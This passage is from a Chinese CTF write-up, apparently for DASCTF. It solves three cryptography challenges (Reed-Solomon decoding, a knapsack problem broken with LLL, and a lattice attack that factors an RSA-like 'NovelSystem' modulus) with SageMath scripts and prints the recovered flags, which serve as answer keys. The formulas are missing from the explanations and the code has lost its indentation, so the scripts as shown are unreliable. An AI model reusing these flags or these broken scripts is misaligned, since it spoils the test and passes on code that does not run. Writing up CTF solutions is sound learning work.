print(long_to_bytes(m))
Solomen's puzzle 1
考点:里德-所罗门码
里德-所罗门码可以纠错,首先看视频学习里德-所罗门码的编码方式和如何纠错
这里大致说一下纠错,根据视频所述及题目给出的信息:
假设mx为里德-所罗门码,mmx为出错以后的mx(错了2位)。(以多项式的形式表示)
原有即,而
这意味着为和的根,即将根带入求得值都为0
如果令,其中分别为出错的位置和其对应的大小,则可以得到四组方程():
然后解方程组求解,不过我不会,但我选择爆破
每组出错的位子在[4,5,6,7]中,大小为0到256,完全可以爆破的
from Crypto.Util.number import *
import hashlib
m = 257
F = Zmod(m)
alpha = F(223)
PR.<x> = PolynomialRing(F)
gx = (x - alpha ^ 0) * (x - alpha ^ 1) * (x - alpha ^ 2) * (x - alpha ^ 3)
code = b'xb9$5.>xffxe3Sxc91xb2xebx1byR(x12{xc4xbfxa4wo|xc5-;xc9xc9S[xaeXxadxf0xef@x1cx87]x9axb9:x8cuxa5xe3EA<"xfdx9axbfqBx94xc3Rx95xd5xbdxd0x10ux10xe3xa5"Sxedxd0xf8x02xbfx124A~1]xcePxdfxf2Cr1x93xacwx03tQexcc2bxbfx0fx92xadx19x00xab|xf3xc9x9b&I%xf5x9b#xf7xa2xcbxb1x0cxeexb56xd5xd2xd5[?^x9dx8bx93xbex832xeexa9xa5x83$xe9xe5x95x01xd6x9fxadx1fx90xc3]aLx10x07{#4i^xaexdf|x9fx94xf4xafx06Rx86j&xebx0bx06xcfxb2x8exb4xb9sx97[xf1ipx06xf8xfdFsxf1`xc6x82xd8xcexf6x95{xe3x8cQxedxefxe9xb9'x19xdf^xc8x81xdex1fQx1ex86xdaxf8xfd4M0#xefx8axe9xe5xfcxe2xe3xe6xd0excexe1x0bx9eMx07xc2Yxf8Bxe1xdexfaPxe9x9dxdexc3xe3Cxa5'
n = 94257413713770111563970534929325680923943690882102478219183863722026590313165304301118258536360712467357451726680293716779730218553691126214750969333228034756948476572806064756873382054384808713137658321644158757777088916851366208046581218865015163572359836440643828462291397248680038931998325006839692797347
flag = []
for k in range(32):
c = code[k*8:k*8+8]
c = [_ for _ in c]
mx = PR(c)
f = 0
for e1 in range(4, 8):
if f: break
for e2 in range(4, 8):
if f: break
if e1==e2:break
for y1 in range(0, m):
if f: break
for y2 in range(0, m):
if f: break
count = 0
for i in range(4):
if not int(mx(alpha ^ i)) == int(y1 * alpha ^ (i * e1) + y2 * alpha ^ (i * e2))%m:
break
count += 1
if count == 4:
mmx = mx - y1 * x ^ e1 - y2 * x ^ e2
flag += [_ for _ in list(mmx)[4:]]
f = 1
realflag = b''
for i in flag:
realflag+=long_to_bytes(int(i))
realflag = bytes_to_long(realflag)
e = 10632528934906371807995216845027219767890923967559690651733628659750564299493611010425615580946665632019547006685100876646048602773295571936276450835367591
realflag = realflag * inverse(e,n) % n
realflag = long_to_bytes(int(realflag))
# b'DASCTF{What_a_funny_rsa_question_posted_by_Reed_and_Solomen_LOL_HHHHHH}'
realflag = hashlib.md5(realflag).hexdigest()
print(realflag)
# 4e4fc02d88b0c8f66c924489e1bf58ea
linearAlgebra
,给了,而的第一行甚至第二行包含了
,给了,函数随机将中个元素改变,而也仅仅为的矩阵,这就有很大的可能中有两行及以上是没有发生变化的
如果我们将的每一个元素都看成是由背包加密得来的,那么我们就可以通过中未发生变化的那一行配合背包来解出的每一列
先看看哪些行没变
c = matrix(ZZ, c)
for k in range(32):
pk1 = Ac[k] #某一行
ct1 = c.transpose()[0][k] #对原c而言,固定某一列,对应某一行
nbit = len(pk1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
for i in range(nbit):
A[i, i] = 1
for i in range(nbit):
A[i, nbit] = pk1[i]
A[nbit, nbit] = -int(ct1)
res = A.LLL()
if 32 < res[0][0] < 128:
print(res[0],k) # 求出M对应的固定某一列,因为固定某一列,所以如果求出结果相同,则表明该行的Ac没变
找到好多行(1,3,5,9,....)没有变化,取其中一行,恢复
f = open('out', 'r')
f.readline()
c = []
for i in range(32):
C = f.readline().strip('n').replace(' ', ' ').replace(' ', ' ').replace(' ', ',').replace('[,','[')[1:][:-1]
C = list(map(int, C.split(',')))
c.append(C)
f.readline()
Ac = []
for i in range(32):
AC = f.readline().strip('n').replace(' ', ' ').replace(' ', ' ').replace(' ', ',').replace('[,','[')[1:][:-1]
AC = list(map(int,AC.split(',')))
Ac.append(AC)
c = matrix(ZZ, c)
# for k in range(32):
# pk1 = Ac[k]
# ct1 = c.transpose()[0][k]
# nbit = len(pk1)
# A = Matrix(ZZ, nbit + 1, nbit + 1)
# for i in range(nbit):
# A[i, i] = 1
# for i in range(nbit):
# A[i, nbit] = pk1[i]
# A[nbit, nbit] = -int(ct1)
# res = A.LLL()
# if 32 < res[0][0] < 128:
# print(res[0],k)
flag1 = ''
flag2 = ''
for k in range(32):
pk1 = Ac[1] # 取了第1行
ct1 = c.transpose()[k][1] # 对应c转置后中的第1列
nbit = len(pk1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
for i in range(nbit):
A[i, i] = 1
for i in range(nbit):
A[i, nbit] = pk1[i]
A[nbit, nbit] = -int(ct1)
res = A.LLL()
# if 32 < res[0][0] < 128:
# print(res[0],k)
flag1 += chr(int(res[0][0]))
if k < 4: #flag为uuid4的形式,长36
flag2 += chr(int(res[0][1]))
print(flag1+flag2)
# b5932c2c-e210-4c39-9fb5-a7f35e861d32
NovelSystem2
关键看到,眼熟得很
和像得很,找了一下别人的wp1和wp2和论文参考https://eprint.iacr.org/2021/1160.pdf)
直接拿了wp1中的脚本(我是脚本小子),解出来,然后就可以分解啦
最后把数据放进类里面,直接decrypt即可
from Crypto.Util.number import *
from gmpy2 import *
import time
class NovelSystem:
def __init__(self, p, q, e):
self.p = mpz(p)
self.q = mpz(q)
self.N = self.p * self.q
self.beta = 0.397
self.psi = (self.p ** 2 + self.p + 1) * (self.q ** 2 + self.q + 1)
self.e = mpz(e)
self.d = invert(mpz(self.e), mpz(self.psi))
self.r = 3
def add_(self, a, b):
m, n = a
k, l = b
if a[1] == 0:
a, b = b, a
m, n, k, l = k, l, m, n
if l == 0:
if n == 0:
return (m * k, m + k)
if (n + k) % self.N == 0:
if (m - n ** 2) % self.N == 0:
return (0, 0)
return ((m * k + self.r) * invert(m - n * n) % self.N, 0)
return ((m * k + self.r) * invert(n + k, self.N) % self.N, (m + n * k) * invert(n + k, self.N) % self.N)
if (m + k + n * l) % self.N != 0:
return ((m * k + (n + l) * self.r) * invert(m + k + n * l, self.N) % self.N,
(n * k + m * l + self.r) * invert(m + k + n * l, self.N) % self.N)
if (n * k + m * l + self.r) % self.N == 0:
return (0, 0)
return ((m * k + (n + l) * self.r) * invert(n * k + m * l + self.r, self.N) % self.N, 0)
def mul_(self, a, n):
ans = (0, 0)
while n > 0:
if n & 1 == 1:
ans = self.add_(ans, a)
a = self.add_(a, a)
n //= 2
return ans
def encrypt(self, m):
return self.mul_(m, self.e)
def decrypt(self, c):
return self.mul_(c, self.d)
############################################
# Config
##########################################
"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True
"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False
"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension
############################################
# Functions
##########################################
# display stats on helpful vectors
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii, ii] >= modulus:
nothelpful += 1
print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
# display matrix picture with 0 and X
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii, jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
print(a)
# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
# end of our recursive function
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB
# we start by checking from the end
for ii in range(current, -1, -1):
# if it is unhelpful:
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# let's check if it affects other vectors
for jj in range(ii + 1, BB.dimensions()[0]):
# if another vector is affected:
# we increase the count
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj
# level:0
# if no other vectors end up affected
# we remove it
if affected_vectors == 0:
print("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii - 1)
return BB
# level:1
# if just one was affected we check
# if it is affecting someone else
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# if it is affecting even one vector
# we give up on this one
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# remove both it if no other vector was affected and
# this helpful vector is not helpful enough
# compared to our unhelpful one
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
bound - BB[ii, ii]):
print("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii - 1)
return BB
# nothing happened
return BB
def attack(N, e, m, t, X, Y):
modulus = e
PR.< x, y > = PolynomialRing(ZZ)
a = N + 1
b = N * N - N + 1
f = x * (y * y + a * y + b) + 1
gg = []
for k in range(0, m + 1):
for i in range(k, m + 1):
for j in range(2 * k, 2 * k + 2):
gg.append(x ^ (i - k) * y ^ (j - 2 * k) * f ^ k * e ^ (m - k))
for k in range(0, m + 1):
for i in range(k, k + 1):
for j in range(2 * k + 2, 2 * i + t + 1):
gg.append(x ^ (i - k) * y ^ (j - 2 * k) * f ^ k * e ^ (m - k))
def order_gg(idx, gg, monomials):
if idx == len(gg):
return gg, monomials
for i in range(idx, len(gg)):
polynomial = gg[i]
non = []
for monomial in polynomial.monomials():
if monomial not in monomials:
non.append(monomial)
if len(non) == 1:
new_gg = gg[:]
new_gg[i], new_gg[idx] = new_gg[idx], new_gg[i]
return order_gg(idx + 1, new_gg, monomials + non)
gg, monomials = order_gg(0, gg, [])
# construct lattice B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0)
for jj in range(1, nn):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](X, Y)
# Prototype to reduce the lattice
if helpful_only:
# automatically remove
BB = remove_unhelpful(BB, monomials, modulus ^ m, nn - 1)
# reset dimension
nn = BB.dimensions()[0]
if nn == 0:
print("failure")
return 0, 0
# check if vectors are helpful
if debug:
helpful_vectors(BB, modulus ^ m)
# check if determinant is correctly bounded
det = BB.det()
bound = modulus ^ (m * nn)
if det >= bound:
print("We do not have det < bound. Solutions might not be found.")
print("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
# display the lattice basis
if debug:
matrix_overview(BB, modulus ^ m)
# LLL
if debug:
print("optimizing basis of the lattice via LLL, this can take a long time")
BB = BB.LLL()
if debug:
print("LLL is done!")
# transform vector i & j -> polynomials 1 & 2
if debug:
print("looking for independent vectors in the lattice")
found_polynomials = False
for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):
# for i and j, create the two polynomials
PR.< a, b > = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](a, b) * BB[pol1_idx, jj] / monomials[jj](X, Y)
pol2 += monomials[jj](a, b) * BB[pol2_idx, jj] / monomials[jj](X, Y)
# resultant
PR.< q > = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)
# are these good polynomials?
if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break
if not found_polynomials:
print("no independant vectors could be found. This should very rarely happen...")
return 0, 0
rr = rr(q, q)
# solutions
soly = rr.roots()
if len(soly) == 0:
print("Your prediction (delta) is too small")
return 0, 0
soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly
def inthroot(a, n):
return a.nth_root(n, truncate_mode=True)[0]
N, e, s = (69608791192421919283757675475568920773353852553984294535246714322217147926140334786382671447161809319059757926660104907264892471513691210713164936055575369238706600340586833164515933300246888063235136692968128246137215938114060492757345025435557818940819819146315427528432401269318798897677955790143951114837, 3569709831456961963983317856906282564247794656174883346551318455409781951821532194464316039706968856000098892463123452801581913760419867217744612993876726508565953876218527986879338419527071132882516845467078252901861510834762733680624403662683842157212966883670782784707420186939792539380416673702618954148609178781352393489552193742869735649479707631323667621294737562886946346783459713562739324444015141587968954791790724386091523034752910330271202144122827876441229219899077622471534860855412052877175120218922873300885113936346989198403927493848984768217738562507350427274074810257890679068944519650350540061773, 3)
X = 1 << 400
Y = 2 * inthroot(Integer(2 * N), 2)
res = attack(N, e, 4, 2, X, Y)
b, c = res[1], N
Dsqrt = inthroot(Integer(b^2-4*c),2)
p, q = (b + Dsqrt) // 2, (b - Dsqrt) // 2
assert p * q == N
c = (mpz(25277872308079622747549210576460613586229133947234593535200353386990766871354231190884983744062724190757790170095336476433339679661865115249940491581950905446714526508336734968117122923367321009658430492676221613955154012709104353264746945809594342072744903918483080444098810305069478604650812993367066108686), mpz(23837611977059204694294310415628596206205358541193793076161113947121055317488611201828968875769165810136018932772918536959013421962176622562932517080185242296377551991015543007194938521921909070483342042300905806379510158998331097627686209024554054114596970966269941945120227200103961459438854583220408434182))
enc = NovelSystem(p,q,e)
m = enc.decrypt(c)
print(long_to_bytes(int(m[0]))+long_to_bytes(int(m[1])))
# b'DASCTF{a1a4a518320a469088c64aa4fbc22438}'
文案:TeamGipsy
排版:江 越
审核:刘雪娇
往期推荐:
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论